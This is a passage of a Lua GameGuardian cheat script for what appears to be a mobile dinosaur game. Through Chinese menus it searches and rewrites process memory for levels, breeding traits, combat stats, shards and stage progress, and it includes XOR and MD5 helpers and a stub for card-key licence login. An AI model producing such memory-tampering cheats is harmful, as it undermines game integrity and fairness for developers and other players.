 local i=1 local t=gg.getValues(shubiao) local n=0 local zjz local flag=1 local EQL=gg.SIGN_EQUAL local style="short"
 gg.clearResults()
 for i=1, #data do
    if data[i].type==nil and i~=1 then data[i].type=data[i-1].type end
    if data[i].offset==nil and i~=1 then data[i].offset=data[i-1].offset end
    if data[i].type=="" then data[i].type="4" end
    if data[i].type==nil then gg.alert("搜索["..i.."]类型为空") return nil end     if data[i].offset==nil then gg.alert("搜索["..i.."]偏移为空") return nil end
      if n>=9200 then
        if style=="short" then loadresults(t) style="long" end
        if     data[i].offset=="up" then exoffset(2,data[i].value,data[i].type) data[i].value=""
        elseif data[i].offset=="down" then exoffset(3,data[i].value,data[i].type) data[i].value=""
        elseif data[i].offset=="" then 
        else exoffset(1,data[i].offset,data[i].type)
        end
      else
        if style=="long" then n=gg.getResultCount() t=getResultable(n) style="short" end
        if     data[i].offset=="up" then t=exoffset(2,data[i].value,data[i].type,t) data[i].value=""
        elseif data[i].offset=="down" then t=exoffset(3,data[i].value,data[i].type,t) data[i].value=""
        elseif data[i].offset=="" then 
        else t=exoffset(1,data[i].offset,data[i].type,t)
        end      
      end
    local dlval=tostring(data[i].value) data[i].value=nil data[i].value=dlval
    if data[i].value:sub(1,1)=="!" then data[i].value=data[i].value:sub(2) EQL=gg.SIGN_NOT_EQUAL else EQL=gg.SIGN_EQUAL end
    if data[i].value~="" then
      if data[i].value:sub(1,1)=="h" and style=="short" then loadresults(t) style="long" end    
      if style=="long" then
        if i==1 then gg.searchNumber(data[i].value,data[i].type,false,EQL,0, -1)   else gg.refineNumber(data[i].value,data[i].type,false,EQL,0, -1)  end
      else
        dlval=split(data[i].value,"~")
        if dlval[2]==nil then dlval[2]=dlval[1] end
         for j=#t,1,-1 do
          if (t[j].value>=tonumber(dlval[1]) and t[j].value<=tonumber(dlval[2])) and EQL==gg.SIGN_EQUAL then
          elseif (t[j].value<tonumber(dlval[1]) or t[j].value>tonumber(dlval[2])) and EQL==gg.SIGN_NOT_EQUAL then
          else table.remove(t,j)
          end
        end
      end
    end
    if style=="long" then n=gg.getResultCount() else n=#t end
    if n==0 then gg.alert("未搜到数据"..i) flag=0 break end
 end
 if style=="long" then n=gg.getResultCount() t=getResultable(n) end
 gg.clearResults()
 if flag==1 then return t else return nil end
end
function xiugaidata(shubiao,data,save,duihua,dongjie)-----修改功能
   if shubiao==nil or data==nil then return nil,0 end
   local i=1 local j=1 local t=gg.getValues(shubiao) local n=0 local k=0 local zjz  local flag=1 local style="short"
   gg.clearResults()
   for i=1, #data do
     if data[i].type==nil and i~=1 then data[i].type=data[i-1].type end
     if data[i].offset==nil and i~=1 then data[i].offset=data[i-1].offset end
     if data[i].type=="" then data[i].type="4" end
     if data[i].type==nil then gg.alert("修改["..i.."]类型为空") return nil,k end     
     if data[i].offset==nil then gg.alert("修改["..i.."]偏移为空") return nil,k end
     if n>=9200 then
        if style=="short" then loadresults(t) style="long" end
        if     data[i].offset=="up" then exoffset(2,data[i].value,data[i].type)
        elseif data[i].offset=="down" then exoffset(3,data[i].value,data[i].type)
        elseif data[i].offset=="" then 
        else exoffset(1,data[i].offset,data[i].type)
        end
     else
        if style=="long" then n=gg.getResultCount() t=getResultable(n) style="short" end
        if     data[i].offset=="up" then t=exoffset(2,data[i].value,data[i].type,t)
        elseif data[i].offset=="down" then t=exoffset(3,data[i].value,data[i].type,t)
        elseif data[i].offset=="" then 
        else t=exoffset(1,data[i].offset,data[i].type,t)
        end      
     end
     if style=="long" then n=gg.getResultCount() else n=#t end
     if n==0 then gg.alert("未改到数据"..i) flag=0 break end
     if save==nil then save={} end
     if style=="long" then t=getResultable(1) end
     save[i]=t[1].value
     local dlval=tostring(data[i].value) data[i].value=nil data[i].value=dlval
     if data[i].save==1 then
       s=save
       data[i].value="wdnm="..data[i].value
       pcall(load(data[i].value))
       data[i].value=wdnm
     end
     if duihua==nil then duihua="number" end
     if data[i].duihua~=nil and data[i].duihua~="" then
       zjz=gg.prompt({data[i].duihua},{data[i].value},{duihua})
       if zjz~=nil and zjz~="" then data[i].value=zjz[1] end
     end
     if data[i].value~=nil and data[i].value~="" then
       if style=="long" then n=gg.getResultCount() t=getResultable(n) end
       for j=1,#t do
         t[j].value=data[i].value
         t[j].freeze=dongjie
       end
       if dongjie==nil then gg.setValues(t)
       else gg.addListItems(t)
       end
       k=k+1
     end
   end
   gg.clearResults()
   if flag==1 then return true,k else return nil,k end
end
--------------↓↓↓额外工具↓↓↓------------------
function YIC(data) --yic加密
  function Encryption(Text)
    return Text:gsub(".", function(c)
      return string.format("%02X", (string.byte(c)) % 256)
    end):gsub(" ", "+")
  end
  local jmdm = Encryption(data)
  return jmdm
end
function xzsplit(shubiao,ywm,neiding) ---选择ywm筛选表
  if shubiao==nil or ywm==nil then return end
  local k=0 local ywm0={}
  for i=1,#ywm do
    local cf=false
    if ywm[i]=="" then cf=true end
    for j=1,k do
      if ywm0[k]==ywm[i] then cf=true end
    end
    if cf==false then
      k=k+1
      ywm0[k]=ywm[i]
    end
  end
  local SN=ywm0[1]
  if neiding~=nil then SN=neiding
  elseif k==1 then
  else
    SN=nil
    while SN==nil do SN=gg.choice(ywm0,nil,"搜索到多种结果,请选择你要的") end
    SN=ywm0[SN]
  end
  ywm0={} k=0
  for i=1,#ywm do
    if ywm[i]==SN then k=k+1 ywm0[k]=deepcopy(shubiao[i]) end
  end
  return ywm0,SN
end
function split(input, delimiter) ---分割字符串
    input = tostring(input)
    delimiter = tostring(delimiter)
    if (delimiter == "") then return false end
    local pos, arr = 0, {}
    for st, sp in function() return string.find(input, delimiter, pos, true) end do
        table.insert(arr, string.sub(input, pos, st - 1))
        pos = sp + 1
    end
    table.insert(arr, string.sub(input, pos))
    return arr
end
function gg.find(whole,part,const) ----查找第n个位置
  if const==nil then const=1 end
  local a1,a2=string.find(whole,part)
  for i=2,const do
    a1,a2=string.find(whole,part,a2+1)
  end
  return a1,a2
end
function Xor(num1,num2)  --异或
	local tmp1 = num1
	local tmp2 = num2
	local str = ""
	repeat
		local s1 = tmp1 % 2
		local s2 = tmp2 % 2
		if s1 == s2 then
			str = "0"..str
		else
			str = "1"..str
		end
		tmp1 = math.modf(tmp1/2)
		tmp2 = math.modf(tmp2/2)
	until(tmp1 == 0 and tmp2 == 0)
	return tonumber(str,2)
end
function decode(key,val) --解密算法
  if val<0 then val=4294967296+val end
  local a=val/16777216
  local b=val%16777216/65536
  local c=val%65536/256
  local d=val%256
  local e=key/65536
  local f=key%65536
  c=Xor(c,e)
  val=a*16777216+c*65536+b*256+d-f
  return val
end
function encode(key,val)--加密算法
  if val<0 then val=4294967296+val end
  local e=key/65536
  local f=key%65536  
  val=val+f
  local a=val/16777216
  local b=val%16777216/65536
  local c=val%65536/256
  local d=val%256
  b=Xor(b,e)
  val=a*16777216+c*65536+b*256+d
  return val
end
function getResultable(n) ---取搜索结果表
  local t={} local u={}
  while n<=100000 do
    t=gg.getResults(n) 
    if #t==n then return t end
  end
  while n>100000 do
    for i=1, (n/100000+1) do
      u=gg.getResults(100000,100000*(i-1))
      t=MergeTables(t,u)
    end
    if #t==n then return t end
  end
end
function MergeTables(...) ---合并表
    local tabs = {...}
    if not tabs then
        return {}
    end
    local origin = tabs[1]
    for i = 2,#tabs do
        if origin then
            if tabs[i] then
                for k,v in pairs(tabs[i]) do
                    table.insert(origin,v)
                end
            end
        else
            origin = tabs[i]
        end
    end
    return origin
end
function sswr(shuzhi)----四舍五入
  local a=shuzhi*100
  a=a+0.5
  a=math.floor(a)
  a=a/100
  return 0+a
end
function utf16(shubiao)----取内存字符
  if shubiao==nil then return end
  local qsdz=shubiao[1].address+2 local n=shubiao[1].value
  for j=1,n do
    shubiao[j]={}
    shubiao[j].address=qsdz+2*j
    shubiao[j].flags=gg.TYPE_WORD
  end
  shubiao=gg.getValues(shubiao)
  --print(shubiao)
  local ywm=""
  for j=1,n do
    ywm=ywm..string.char(shubiao[j].value)
  end
  return ywm
end
function UTF16(shubiao,offset)----取指针UTF16字符
  if shubiao==nil then return end
  if offset==nil then offset=8 end
  local t=deepcopy(shubiao) local n=#t local ywm={}
  t=exoffset(3,offset,gg.TYPE_WORD,t)
  for i=1,n do
    local qsdz=t[i].address+2 local n2=t[i].value local table0={}
    for j=1,n2 do
      table0[j]={}
      table0[j].address=qsdz+2*j
      table0[j].flags=gg.TYPE_WORD
    end
    table0=gg.getValues(table0)
    ywm[i]=""
    for j=1,n2 do
      ywm[i]=ywm[i]..string.char(table0[j].value)
    end
  end
  return ywm
end
function loadresults(t) --加载表到结果
   gg.loadResults(t) 
     local n2=gg.getResultCount() 
     if n2>#t then n=#t
       for i=#t+1,n2 do t[i]={} t[i].address=t[i-1].address+4 t[i].flags=t[i-1].flags end gg.loadResults(t) 
       t=getResultable(n) gg.loadResults(t) 
     end
end
function exoffset(SN,pys,type,shubiao)---搜索结果单次偏移
  if pys==nil or pys=="" then pys=0 end
  pys=tonumber(pys,10)
  if shubiao==nil then
    local n=gg.getResultCount()
    if n==0 then gg.alert("error") return end
    if SN==1 then
      local t=getResultable(n) if type==nil then type=t[1].flags end for j=1, n do t[j].address=t[j].address+pys t[j].flags=type end loadresults(t)
    elseif SN==2 then
      gg.searchPointer(pys) 
    elseif SN==3 then
      local t=getResultable(n) if type==nil then type=t[1].flags end if t[1].flags~="4" then  for j=1, n do t[j].flags="4" end loadresults(t)  t=getResultable(n) end for j=1, n do t[j].address=tonumber(string.format("%X",t[j].value+pys-0xffffffff00000000),16) t[j].flags=type end loadresults(t) 
      local n2=gg.getResultCount() 
      if n2>#t then n=#t
        for i=#t+1,n2 do t[i]={} t[i].address=t[i-1].address+4 t[i].flags=t[i-1].flags end loadresults(t) 
        t=getResultable(n) loadresults(t) 
      end
    end
  else
    local t=deepcopy(shubiao) local n=#t
    if n==0 then gg.alert("error") return end
    if SN==1 then
      if type==nil then type=t[1].flags end for j=1, n do t[j].address=t[j].address+pys t[j].flags=type end t=gg.getValues(t)
    elseif SN==2 then
      loadresults(t) gg.searchPointer(pys) n=gg.getResultCount() t=getResultable(n)
    elseif SN==3 then
      if type==nil then type=t[1].flags end if t[1].flags~="4" then  for j=1, n do t[j].flags="4" end t=gg.getValues(t) end for j=1, n do t[j].address=tonumber(string.format("%X",t[j].value+pys-0xffffffff00000000),16) t[j].flags=type end t=gg.getValues(t)
    end
    return t
  end
end
function deepcopy(orig)---table深度复制
    local orig_type = type(orig)
    local copy
    if orig_type == 'table' then
        copy = {}
        for orig_key, orig_value in next, orig, nil do
            copy[deepcopy(orig_key)] = deepcopy(orig_value)
        end
        setmetatable(copy, deepcopy(getmetatable(orig)))
    else -- number, string, boolean, etc
        copy = orig
    end
    return copy
end
function MD5(code5) --取md5代码
md5={}
local char, byte, format, rep, sub = 
  string.char, string.byte, string.format, string.rep, string.sub 
local bit_or, bit_and, bit_not, bit_xor, bit_rshift, bit_lshift 
local ok, bit = pcall(require, 'bit') 
if ok then 
  bit_or, bit_and, bit_not, bit_xor, bit_rshift, bit_lshift = bit.bor, bit.band, bit.bnot, bit.bxor, bit.rshift, bit.lshift 
else 
  ok, bit = pcall(require, 'bit32') 
  if ok then 
    bit_not = bit.bnot 
    local tobit = function(n) 
      return n <= 0x7fffffff and n or -(bit_not(n) + 1) 
    end 
    local normalize = function(f) 
      return function(a,b) return tobit(f(tobit(a), tobit(b))) end 
    end 
    bit_or, bit_and, bit_xor = normalize(bit.bor), normalize(bit.band), normalize(bit.bxor) 
    bit_rshift, bit_lshift = normalize(bit.rshift), normalize(bit.lshift) 
  else 
    local function tbl2number(tbl) 
      local result = 0 
      local power = 1 
      for i = 1, #tbl do 
        result = result + tbl[i] * power 
        power = power * 2 
      end 
      return result 
    end 
    local function expand(t1, t2) 
      local big, small = t1, t2 
      if(#big < #small) then 
        big, small = small, big 
      end 
      -- expand small 
      for i = #small + 1, #big do 
        small[i] = 0 
      end 
    end 
    local to_bits -- needs to be declared before bit_not 
    bit_not = function(n) 
      local tbl = to_bits(n) 
      local size = math.max(#tbl, 32) 
      for i = 1, size do 
        if(tbl[i] == 1) then 
          tbl[i] = 0 
        else 
          tbl[i] = 1 
        end 
      end 
      return tbl2number(tbl) 
    end 
    -- defined as local above 
    to_bits = function (n) 
      if(n < 0) then 
        -- negative 
        return to_bits(bit_not(math.abs(n)) + 1) 
      end 
      -- to bits table 
      local tbl = {} 
      local cnt = 1 
      local last 
      while n > 0 do 
        last      = n % 2 
        tbl[cnt]  = last 
        n         = (n-last)/2 
        cnt       = cnt + 1 
      end 
      return tbl 
    end 
    bit_or = function(m, n) 
      local tbl_m = to_bits(m) 
      local tbl_n = to_bits(n) 
      expand(tbl_m, tbl_n) 
      local tbl = {} 
      for i = 1, #tbl_m do 
        if(tbl_m[i]== 0 and tbl_n[i] == 0) then 
          tbl[i] = 0 
        else 
          tbl[i] = 1 
        end 
      end 
      return tbl2number(tbl) 
    end 
    bit_and = function(m, n) 
      local tbl_m = to_bits(m) 
      local tbl_n = to_bits(n) 
      expand(tbl_m, tbl_n) 
      local tbl = {} 
      for i = 1, #tbl_m do 
        if(tbl_m[i]== 0 or tbl_n[i] == 0) then 
          tbl[i] = 0 
        else 
          tbl[i] = 1 
        end 
      end 
      return tbl2number(tbl) 
    end 
    bit_xor = function(m, n) 
      local tbl_m = to_bits(m) 
      local tbl_n = to_bits(n) 
      expand(tbl_m, tbl_n) 
      local tbl = {} 
      for i = 1, #tbl_m do 
        if(tbl_m[i] ~= tbl_n[i]) then 
          tbl[i] = 1 
        else 
          tbl[i] = 0 
        end 
      end 
      return tbl2number(tbl) 
    end 
    bit_rshift = function(n, bits) 
      local high_bit = 0 
      if(n < 0) then 
        -- negative 
        n = bit_not(math.abs(n)) + 1 
        high_bit = 0x80000000 
      end 
      local floor = math.floor 
      for i=1, bits do 
        n = n/2 
        n = bit_or(floor(n), high_bit) 
      end 
      return floor(n) 
    end 
    bit_lshift = function(n, bits) 
      if(n < 0) then 
        -- negative 
        n = bit_not(math.abs(n)) + 1 
      end 
      for i=1, bits do 
        n = n*2 
      end 
      return bit_and(n, 0xFFFFFFFF) 
    end 
  end 
end 
-- convert little-endian 32-bit int to a 4-char string 
local function lei2str(i) 
  local f=function (s) return char( bit_and( bit_rshift(i, s), 255)) end 
  return f(0)..f(8)..f(16)..f(24) 
end 
-- convert raw string to big-endian int 
local function str2bei(s) 
  local v=0 
  for i=1, #s do 
    v = v * 256 + byte(s, i) 
  end 
  return v 
end 
-- convert raw string to little-endian int 
local function str2lei(s) 
  local v=0 
  for i = #s,1,-1 do 
    v = v*256 + byte(s, i) 
  end 
  return v 
end 
-- cut up a string in little-endian ints of given size 
local function cut_le_str(s,...) 
  local o, r = 1, {} 
  local args = {...} 
  for i=1, #args do 
    table.insert(r, str2lei(sub(s, o, o + args[i] - 1))) 
    o = o + args[i] 
  end 
  return r 
end 
local swap = function (w) return str2bei(lei2str(w)) end 
-- An MD5 mplementation in Lua, requires bitlib (hacked to use LuaBit from above, ugh) 
local CONSTS = { 
  0xd76aa478, 0xe8c7b756, 0x242070db, 0xc1bdceee, 
  0xf57c0faf, 0x4787c62a, 0xa8304613, 0xfd469501, 
  0x698098d8, 0x8b44f7af, 0xffff5bb1, 0x895cd7be, 
  0x6b901122, 0xfd987193, 0xa679438e, 0x49b40821, 
  0xf61e2562, 0xc040b340, 0x265e5a51, 0xe9b6c7aa, 
  0xd62f105d, 0x02441453, 0xd8a1e681, 0xe7d3fbc8, 
  0x21e1cde6, 0xc33707d6, 0xf4d50d87, 0x455a14ed, 
  0xa9e3e905, 0xfcefa3f8, 0x676f02d9, 0x8d2a4c8a, 
  0xfffa3942, 0x8771f681, 0x6d9d6122, 0xfde5380c, 
  0xa4beea44, 0x4bdecfa9, 0xf6bb4b60, 0xbebfbc70, 
  0x289b7ec6, 0xeaa127fa, 0xd4ef3085, 0x04881d05, 
  0xd9d4d039, 0xe6db99e5, 0x1fa27cf8, 0xc4ac5665, 
  0xf4292244, 0x432aff97, 0xab9423a7, 0xfc93a039, 
  0x655b59c3, 0x8f0ccc92, 0xffeff47d, 0x85845dd1, 
  0x6fa87e4f, 0xfe2ce6e0, 0xa3014314, 0x4e0811a1, 
  0xf7537e82, 0xbd3af235, 0x2ad7d2bb, 0xeb86d391, 
  0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476 
} 
local f=function (x,y,z) return bit_or(bit_and(x,y),bit_and(-x-1,z)) end 
local g=function (x,y,z) return bit_or(bit_and(x,z),bit_and(y,-z-1)) end 
local h=function (x,y,z) return bit_xor(x,bit_xor(y,z)) end 
local i=function (x,y,z) return bit_xor(y,bit_or(x,-z-1)) end 
local z=function (ff,a,b,c,d,x,s,ac) 
  a=bit_and(a+ff(b,c,d)+x+ac,0xFFFFFFFF) 
  -- be *very* careful that left shift does not cause rounding! 
  return bit_or(bit_lshift(bit_and(a,bit_rshift(0xFFFFFFFF,s)),s),bit_rshift(a,32-s))+b 
end 
local function transform(A,B,C,D,X) 
  local a,b,c,d=A,B,C,D 
  local t=CONSTS 
  a=z(f,a,b,c,d,X[ 0], 7,t[ 1]) 
  d=z(f,d,a,b,c,X[ 1],12,t[ 2]) 
  c=z(f,c,d,a,b,X[ 2],17,t[ 3]) 
  b=z(f,b,c,d,a,X[ 3],22,t[ 4]) 
  a=z(f,a,b,c,d,X[ 4], 7,t[ 5]) 
  d=z(f,d,a,b,c,X[ 5],12,t[ 6]) 
  c=z(f,c,d,a,b,X[ 6],17,t[ 7]) 
  b=z(f,b,c,d,a,X[ 7],22,t[ 8]) 
  a=z(f,a,b,c,d,X[ 8], 7,t[ 9]) 
  d=z(f,d,a,b,c,X[ 9],12,t[10]) 
  c=z(f,c,d,a,b,X[10],17,t[11]) 
  b=z(f,b,c,d,a,X[11],22,t[12]) 
  a=z(f,a,b,c,d,X[12], 7,t[13]) 
  d=z(f,d,a,b,c,X[13],12,t[14]) 
  c=z(f,c,d,a,b,X[14],17,t[15]) 
  b=z(f,b,c,d,a,X[15],22,t[16]) 
  a=z(g,a,b,c,d,X[ 1], 5,t[17]) 
  d=z(g,d,a,b,c,X[ 6], 9,t[18]) 
  c=z(g,c,d,a,b,X[11],14,t[19]) 
  b=z(g,b,c,d,a,X[ 0],20,t[20]) 
  a=z(g,a,b,c,d,X[ 5], 5,t[21]) 
  d=z(g,d,a,b,c,X[10], 9,t[22]) 
  c=z(g,c,d,a,b,X[15],14,t[23]) 
  b=z(g,b,c,d,a,X[ 4],20,t[24]) 
  a=z(g,a,b,c,d,X[ 9], 5,t[25]) 
  d=z(g,d,a,b,c,X[14], 9,t[26]) 
  c=z(g,c,d,a,b,X[ 3],14,t[27]) 
  b=z(g,b,c,d,a,X[ 8],20,t[28]) 
  a=z(g,a,b,c,d,X[13], 5,t[29]) 
  d=z(g,d,a,b,c,X[ 2], 9,t[30]) 
  c=z(g,c,d,a,b,X[ 7],14,t[31]) 
  b=z(g,b,c,d,a,X[12],20,t[32]) 
  a=z(h,a,b,c,d,X[ 5], 4,t[33]) 
  d=z(h,d,a,b,c,X[ 8],11,t[34]) 
  c=z(h,c,d,a,b,X[11],16,t[35]) 
  b=z(h,b,c,d,a,X[14],23,t[36]) 
  a=z(h,a,b,c,d,X[ 1], 4,t[37]) 
  d=z(h,d,a,b,c,X[ 4],11,t[38]) 
  c=z(h,c,d,a,b,X[ 7],16,t[39]) 
  b=z(h,b,c,d,a,X[10],23,t[40]) 
  a=z(h,a,b,c,d,X[13], 4,t[41]) 
  d=z(h,d,a,b,c,X[ 0],11,t[42]) 
  c=z(h,c,d,a,b,X[ 3],16,t[43]) 
  b=z(h,b,c,d,a,X[ 6],23,t[44]) 
  a=z(h,a,b,c,d,X[ 9], 4,t[45]) 
  d=z(h,d,a,b,c,X[12],11,t[46]) 
  c=z(h,c,d,a,b,X[15],16,t[47]) 
  b=z(h,b,c,d,a,X[ 2],23,t[48]) 
  a=z(i,a,b,c,d,X[ 0], 6,t[49]) 
  d=z(i,d,a,b,c,X[ 7],10,t[50]) 
  c=z(i,c,d,a,b,X[14],15,t[51]) 
  b=z(i,b,c,d,a,X[ 5],21,t[52]) 
  a=z(i,a,b,c,d,X[12], 6,t[53]) 
  d=z(i,d,a,b,c,X[ 3],10,t[54]) 
  c=z(i,c,d,a,b,X[10],15,t[55]) 
  b=z(i,b,c,d,a,X[ 1],21,t[56]) 
  a=z(i,a,b,c,d,X[ 8], 6,t[57]) 
  d=z(i,d,a,b,c,X[15],10,t[58]) 
  c=z(i,c,d,a,b,X[ 6],15,t[59]) 
  b=z(i,b,c,d,a,X[13],21,t[60]) 
  a=z(i,a,b,c,d,X[ 4], 6,t[61]) 
  d=z(i,d,a,b,c,X[11],10,t[62]) 
  c=z(i,c,d,a,b,X[ 2],15,t[63]) 
  b=z(i,b,c,d,a,X[ 9],21,t[64]) 
  return bit_and(A+a,0xFFFFFFFF),bit_and(B+b,0xFFFFFFFF), 
         bit_and(C+c,0xFFFFFFFF),bit_and(D+d,0xFFFFFFFF) 
end 
---------------------------------------------------------------- 
local function md5_update(self, s) 
  self.pos = self.pos + #s 
  s = self.buf .. s 
  for ii = 1, #s - 63, 64 do 
    local X = cut_le_str(sub(s,ii,ii+63),4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4) 
    assert(#X == 16) 
    X[0] = table.remove(X,1) -- zero based! 
    self.a,self.b,self.c,self.d = transform(self.a,self.b,self.c,self.d,X) 
  end 
  self.buf = sub(s, math.floor(#s/64)*64 + 1, #s) 
  return self 
end 
local function md5_finish(self) 
  local msgLen = self.pos 
  local padLen = 56 - msgLen % 64 
  if msgLen % 64 > 56 then padLen = padLen + 64 end 
  if padLen == 0 then padLen = 64 end 
  local s = char(128) .. rep(char(0),padLen-1) .. lei2str(bit_and(8*msgLen, 0xFFFFFFFF)) .. lei2str(math.floor(msgLen/0x20000000)) 
  md5_update(self, s) 
  assert(self.pos % 64 == 0) 
  return lei2str(self.a) .. lei2str(self.b) .. lei2str(self.c) .. lei2str(self.d) 
end 
---------------------------------------------------------------- 
function md5.new() 
  return { a = CONSTS[65], b = CONSTS[66], c = CONSTS[67], d = CONSTS[68], 
           pos = 0, 
           buf = '', 
           update = md5_update, 
           finish = md5_finish } 
end 
function md5.tohex(s) 
  return format("%08x%08x%08x%08x", str2bei(sub(s, 1, 4)), str2bei(sub(s, 5, 8)), str2bei(sub(s, 9, 12)), str2bei(sub(s, 13, 16))) 
end 
function md5.sum(s) 
  return md5.new():update(s):finish() 
end 
function md5.sumhexa(s) 
  return md5.tohex(md5.sum(s)) 
end 
y=md5.sumhexa(code5) 
return y
end
--------------↑↑↑额外工具↑↑↑-----------------------
yxnb = function(datar)---整合功能
  gg.setRanges(datar["搜索内存"])
  local data = {} local i=0
  for i = 1, #datar["搜索数组"][1] do 
    local datai = {["value"] = datar["搜索数组"][1][i], ["type"] = datar["搜索数组"][2][i] , ["offset"] = datar["搜索数组"][3][i]}
    table.insert(data, i, datai)
  end --print(data)
  local shubiao = sousuodata(data) data = {}
  if datar["修改数组"][5]==nil then datar["修改数组"][5]={} end if datar["修改数组"][4]==nil then datar["修改数组"][4]={} end if datar["修改数组"][3]==nil then datar["修改数组"][3]={} end if datar["修改数组"][2]==nil or datar["修改数组"][2]=={} then datar["修改数组"][2]=datar["搜索数组"][2] end
  local mofang=0
  if datar["修改数组"][3][1]==nil then 
    mofang=1 datar["修改数组"][3][1]=0  
    for i=2,#datar["搜索数组"][1] do 
      if datar["搜索数组"][3][i]==nil then datar["搜索数组"][3][i]=datar["搜索数组"][3][i-1] end 
      if datar["搜索数组"][3][i]=="up" or datar["搜索数组"][3][i]=="down" then return nil,0 end
      if datar["搜索数组"][3][i]=="" then datar["搜索数组"][3][i]=0 end
      datar["修改数组"][3][1]=datar["修改数组"][3][1]-datar["搜索数组"][3][i] 
    end 
  end
  for i = 1, #datar["修改数组"][1] do
    if datar["修改数组"][3][i]==nil and i~=1 and mofang==1 then datar["修改数组"][3][i]=datar["搜索数组"][3][i] end
    local datai = {["value"] = datar["修改数组"][1][i] , ["type"] = datar["修改数组"][2][i] , ["offset"] = datar["修改数组"][3][i] , ["save"] = datar["修改数组"][4][i] , ["duihua"] = datar["修改数组"][5][i]}
    table.insert(data, i, datai)
  end --print(data)
  local isok,oknum=nil,0
  if shubiao~=nil then
    isok,oknum = xiugaidata(shubiao,data,datar["保存表"],datar["对话类型"],datar["冻结类型"])
  end
  if isok==true then
    gg.toast(datar["功能名称"] .. "开启成功，共修改" .. oknum .. "种数据")
  else
    gg.toast(datar["功能名称"] .. "开启失败，共修改" .. oknum .. "种数据")
  end
  return isok,oknum,shubiao
end
--------------↑↑↑上方配置代码勿改↑↑↑------------------------------------
function Main0()
SN = gg.choice({
	 "等级星级",
	  "变异公母繁殖次数性格",
	 "三维",
	 "碎片修改",
	 "改关卡",
	 "退出",
}, nil, "修改必须要成年，不能改幼体n欢迎介绍客户")
if SN==1 then
	 Main1()
end
if SN==2 then
	 NB()
end
if SN==3 then
	 Main2()
end
if SN==4 then
	 Main3()
end
if SN==5 then
	 gk()
end
if SN==6 then
HS5()
end
LW0=0
end
function Main1()
  LW0 = 0
  ss=gg.prompt({"恐龙代码","等级","星级"},{1,18,10},{"number","number","number"})
  if  ss== nil then return end
  xg=gg.prompt({"等级","星级(不能超过10)"},{18,10},{"number","number"})
  if  xg== nil then return end
yxnb{
["功能名称"] = "恐龙修改",
["搜索内存"] = 32,
["搜索数组"] = {
{28,ss[1]*2,ss[2]*2,ss[3]*2}, --第一到第四个搜索值
{4}, --类型，没有写的默认和前一个一样
{0,4,4,12} --偏移，第一个为0，第二个与第一个的偏移，第三个与第二个偏移，类推
},
["修改数组"] = {
{"",xg[1]*2,xg[2]*2}, --第一到第三个修改值，""表示不改
{4}, --类型，没有写的默认和前一个一样
{nil,8,12} --偏移，默认从搜索值最后一个开始偏移，如第一个偏移为nil则回到第一个搜索值
}}
end
function NB()
  LW0 = 0
  ss=gg.prompt({"公母(1公2母)","繁殖次数","技能(就是恐龙代码)","变异(1变异2不变异)","表情"},{2,3,22,1,2},{"number","number","number","number","number"})
  if  ss== nil then return end
  xg=gg.prompt({"公母(不能超过2)","繁殖次数(不能超过3)","技能","变异(不能超过2)","表情(不能超过11)"},{2,3,22,1,2},{"number","number","number","number","number"})
  if  xg== nil then return end
yxnb{
["功能名称"] = "恐龙修改",
["搜索内存"] = 32,
["搜索数组"] = {
{28,ss[1]*2,ss[2]*2,ss[3]*2,ss[4]*2,ss[5]*2}, --加上28更精确吧
{4}, 
{0,32,8,4}  --后面两个4没写，默认和前者相同
},
["修改数组"] = {
{"",xg[1]*2,xg[2]*2,xg[3]*2,xg[4]*2,xg[5]*2}, 
{4},
{nil,4*8,8,4} --4*8=32
}}
end
function Main2()  --功能
LW0=0
  sr = gg.prompt({"你当前的攻击","防御","生命"},{"","",""}, {"number","number","number"})
  if sr==nil then return end
  sc = gg.prompt({"要改成的攻击","防御","生命"},{"","",""}, {"number","number","number"})
  if sc==nil then return end
yxnb{
["功能名称"] = "gongneng",
["搜索内存"] = 32,
["搜索数组"] = {
{sr[1]*2,sr[2]*2,sr[3]*2,}, 
{4}, 
{0,4,4}
},
["修改数组"] = {
{sc[1]*2,sc[2]*2,sc[3]*2,}, 
{4}, 
{-8,4,4}  --这个不用nil了，4+4=8，算出来-8就行了
}}
gg.setVisible(false)
end
function Main3()  --功能
LW0=0
  sr = gg.prompt({"b级碎片数量(不能为0)","a级碎片数量","s级碎片数量"},{"","",""}, {"number","number","number"})
  if sr==nil then return end
  sc = gg.prompt({"要改的b级碎片数量","a级","s级"},{"","",""}, {"number","number","number"})
  if sc==nil then return end
yxnb{
["功能名称"] = "gongneng",
["搜索内存"] = 32,
["搜索数组"] = {
{sr[1]*2,sr[2]*2,sr[3]*2,}, 
{4}, 
{0,4}
},
["修改数组"] = {
{sc[1]*2,sc[2]*2,sc[3]*2,}, 
{4}, 
{nil,4}
}}
gg.setVisible(false)
end
function gk()
xl = gg.prompt({"当前关卡×2(比如龙骨为5000就输入10000,不确定多少关可以写成范围比如100~500)"}, --输入当前关卡提供搜索参数
	  {[1] = 2000}, {[1] = "number"})
	 if xl ~= nil then
	 
	
	 gg.clearResults() 
	 gg.setRanges(32)
	 gg.searchNumber(xl[1]..";51584::5", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
       gg.searchNumber(xl[1], gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
      
        gj=gg.getResults(99999)
	 for i=1,#gj do
	   gj[i].value=2000
	   gj[i].freeze=true
	 end
     gg.addListItems(gj)
	 gg.alert("请买一次食物后重启游戏，即可修改成功")
    gg.clearResults() 
    end
    end
function HS5()
	 os.exit()
end
while true do
if gg.isVisible(true) then
LW0 = nil
gg.setVisible(false)
end
if LW0 == nil then
Main0()
end
end


end--------恐龙的
while true do
if gg.isVisible(true) then
    FX1 = nil
    gg.setVisible(false)
  end
  if FX1 == nil then
    Mainxz()
  end
end






---[=[上面可以复制上你的脚本]=]------------------------------------------------------------------------------------------------------------------- end-- ab80fff28ac9259a245266d5b0cc5575c7
end

---[=[   ]=]-------------------------------------------------------------------------------------------------------------------

---[=[   ]=]-------------------------------------------------------------------------------------------------------------------

---[=[   ]=]-------------------------------------------------------------------------------------------------------------------

---[=[   ]=]-------------------------------------------------------------------------------------------------------------------


xxxxxxx=""
function oqvqo(xxxxxxx)
local xxxxxxx_Kami=xxxxxxx.."/api.php?api=kmlogon"
--接口名称[卡密登录]

local xxxxxxx_jieba=xxxxxxx.."/api.php?api=kmunmachine"
--接口名称[卡密解绑]

local xxxxxxx_to_configure=xxxxxxx.."/api.php?api=ini"
--接口名称[应用配置]

